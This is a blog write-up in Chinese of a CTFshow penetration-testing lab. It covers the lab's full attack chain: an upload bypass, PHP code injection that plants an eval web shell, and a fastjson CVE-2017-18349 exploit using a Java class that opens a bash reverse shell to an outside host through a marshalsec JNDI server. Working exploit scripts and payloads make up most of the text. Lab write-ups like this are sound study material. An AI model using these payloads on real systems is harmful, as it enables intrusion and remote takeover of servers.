CTFshow目标资产渗透认证

RW02目标资产渗透认证

首先是访问给的靶标,看到帮助文档底部有Anonymous-Chat-Room

于是我们上谷歌搜,可以找到

https://github.com/ping-xiong/Chat-Room-for-Two/blob/master/Applications/chat/Events.php

尝试默认的后台账户密码,但是行不通,接着翻一下目录代码,发现了一个photo_upload

if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/x-png"))
)
{
if ($_FILES["file"]["error"] > 0)
{
echo "无效文件";
}
else
{
$file_name = uniqid();
move_uploaded_file($_FILES["file"]["tmp_name"],
"images/photo/" . $file_name.$_FILES["file"]["name"]);
echo $file_name.$_FILES["file"]["name"];
}
}
else
{
echo "无效文件";
}

这个过滤等于没过滤,直接伪造一下就行

import requests


url = "https://i.am.ctfer.com/photo_upload.php"
files = {
'file': ("1.php", open("../1.php", "rb"), "image/jpeg"),
}

resp = requests.post(url=url, files=files)
print(resp.text)

拿到shell后,瞄了眼wp,不是在这个机器上提权,就没往提权研究了

想到之前的后台登录,我们翻login.php,发现了账户密码,直接登录,但是好像没啥用,不过给的账户是个163的网易邮箱,可以去登一下

可以翻到一篇入职通知的邮件,但是被加密了,尝试弱口令,发现是123456

image-20230313143155851

然后就又多了两个目标,还有一个账号

其中一个是一个开放的vscode服务,可以直接通过terminal拿到root,但是也没用,说明里有说flag不在这,只能耐心审代码了。

注意到这个/c/t.php

<?php
date_default_timezone_set("Asia/Shanghai");
header('Content-type:text/json;charset=utf-8');
error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);
session_start();
if ($_SESSION['log'] !== 'yes') {
$result['result'] = 'notok';
$result['msg'] = '请登录';
echo json_encode($result, true);
session_write_close();
exit();
}
session_write_close();
require_once './f.php';
$type = $_GET['type'];
$t = $_POST['title'];
$c = urldecode($_POST['content']);
$d = $_POST['dat'];
$a = $_POST['tag'];
$edits = $_POST['editn'];
$zhiding = $_POST['ifzd'];
$fstr = '';
$result['result'] = 'ok';
function valid_date($date) { /*日期判断函数*/
if (preg_match("/^([0-9]{4})-([0-9]{2})-([0-9]{2})$/", $date, $parts)) {
if (checkdate($parts[2], $parts[3], $parts[1])) return true;
else return false;
} else return false;
}
if ($type == 'submit') {
if (!is_dir('./../p/')) {
mkdir('./../p/');
}
if (!file_exists('./../p/index.php')) {
$strs = '<?php $inn=0;$in=array();$tp=\'\';$tagi=array(); ?>';
file_put_contents('./../p/index.php', $strs);
}
if ($edits == '' || $edits == 'undefined' || $edits == 'null') { /*新建文章*/
if (!empty($t) && !empty($d) && !empty($c)) {
if (empty($a)) {
$a = '日常';
}
require './../p/index.php';
$datestr = substr($d, 0, 4) . "-" . substr($d, 4, 2) . "-" . substr($d, 6, 2);
if (valid_date($datestr)) {
$in[$inn] = $d;
} else {
$in[$inn] = date('Ymd');
}
$tagi[$inn] = $a;
if ($zhiding == 'yes') {
$rtp = preg_replace("/\t|,/", '', $tp);
if (empty($rtp)) {
$tp = $inn . ',';
} else {
$tp = $tp . $inn . ',';
}
}
arsort($in);
$inn = $inn + 1;
file_put_contents('./../p/index.php', '<?php $inn=' . $inn . ';$in=' . var_export($in, true) . ';$tp=\'' . $tp . '\';$tagi=' . var_export($tagi, true) . ';?>');
if (valid_date($datestr)) {
$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="post";?>';
} else {
$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="page";?>';
}
file_put_contents('./../p/' . ($inn - 1) . '.php', $fstr);
changed();
$result['pid'] = ($inn - 1);
} else {
$result['result'] = 'notok';
$result['msg'] = '除了标签,其他内容不得为空.';
........
....
}
} else {
$result['result'] = 'notok';
$result['msg'] = '请求错误';
}
echo json_encode($result, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
?>

主要是这个地方

$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="post";?>';
file_put_contents('./../p/' . ($inn - 1) . '.php', $fstr);

这里仔细点就能发现,因为$t可控,很容易就能吧前后闭合调,传入我们想执行的代码

<?php
$fstr = '';
$t = "\";phpinfo();?>";
$c = "%3d";
$d = "11";
$a = 'tag';
$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="post";?>';
echo $fstr;

image-20230313144305347

用python上传时要注意,他这里是要验证登录的,也就是a的路由,不过那是个默认口令,用他给的admin:123456就能登录

"""
@Author: C4ry7nk
"""

import requests

url = "https://blog.ctfer.com/c/t.php?type=submit"

header = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36"
}

Cookie = {
"PHPSESSID": "1db2d15b63fec63ed5ea11cd7e43b2e1",
}

data = {
# "title": "\";phpinfo();?>",
"title": "\";@eval($_POST['x']);?>",
"dat": "dat",
"content": "%3d",
}

resp = requests.post(url=url, data=data, headers=header, cookies=Cookie)
print(resp.text)

获得shell后,继续信息搜集,但是这个shell,应该是服务器有定时任务,会定时清理后门🐎,所以隔一会shell就断了。

探测这里就按wp的方法来吧,实际环境中要是不能上传工具,也可以利用shell脚本,或者wp那样手动ping,除了本机192.168.101.3还有个存活的192.168.101.2

漏洞点就是8090的fastjson < 1.2.25的CVE-2017-18349,环境看上去应该就是vulhub的那个靶场环境

首先生成恶意的class

public class fast  {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

编译成class文件,python起一个http服务

利用marshalsec启动jdni的监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://43.143.156.226/#fast" 22222

image-20230313202729319

再搞一个json文件,用curl发起请求

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps:22222/Exploit",
"autoCommit":true
}
}
curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json

image-20230313203058743

总结

挺有意思的,出题人也花了心思的,相较于平常CTF来说确实贴近实战,第一期的时候可惜在考试,没来得及复现

作者

秋秋晚

发布于

2023-03-13

更新于

2023-03-13

许可协议

评论

:D 一言句子获取中...